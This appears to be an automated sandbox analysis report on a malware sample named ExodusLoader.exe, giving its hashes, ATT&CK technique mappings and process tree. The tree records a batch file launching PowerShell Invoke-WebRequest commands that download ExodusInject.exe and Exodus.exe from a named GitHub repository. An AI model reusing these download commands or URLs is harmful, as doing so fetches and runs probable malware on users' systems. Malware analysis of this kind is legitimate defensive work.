ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe
2052	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2052	powershell.exe
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 1832	2936	ExodusLoader.exe	31
PID 2936 wrote to memory of 1832	2936	ExodusLoader.exe	31
PID 2936 wrote to memory of 1832	2936	ExodusLoader.exe	31
PID 2936 wrote to memory of 1832	2936	ExodusLoader.exe	31
PID 1832 wrote to memory of 2052	1832	cmd.exe	32
PID 1832 wrote to memory of 2052	1832	cmd.exe	32
PID 1832 wrote to memory of 2052	1832	cmd.exe	32
PID 1832 wrote to memory of 2788	1832	cmd.exe	33
PID 1832 wrote to memory of 2788	1832	cmd.exe	33
PID 1832 wrote to memory of 2788	1832	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\BFF5.tmp\BFF6.tmp\BFF7.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\BFF5.tmp\BFF6.tmp\BFF7.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
81ea566daa7723a7af9e89253e227251

SHA1
7b93b7cfe61a4d249461046063954f6f1861742c

SHA256
42ce36c6a5f40c4eb2bbb5d5b88057c84b675ec56d165b81ed22fbd0ef6d7d9f

SHA512
73ecfaaa636153ffee56727faa6e1f9c94a4d4af078c94ac38d7f6038914f16cccb4e660a2585d11c2e8e11a8b132f515d4c5c1d547380d8cfd7e9b196dca4d2

Download Submit
memory/2052-6-0x000007FEF65EE000-0x000007FEF65EF000-memory.dmp

Filesize
4KB

Download
memory/2052-7-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2052-8-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2052-9-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2052-10-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2052-11-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2052-12-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2052-13-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-20-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/2788-19-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing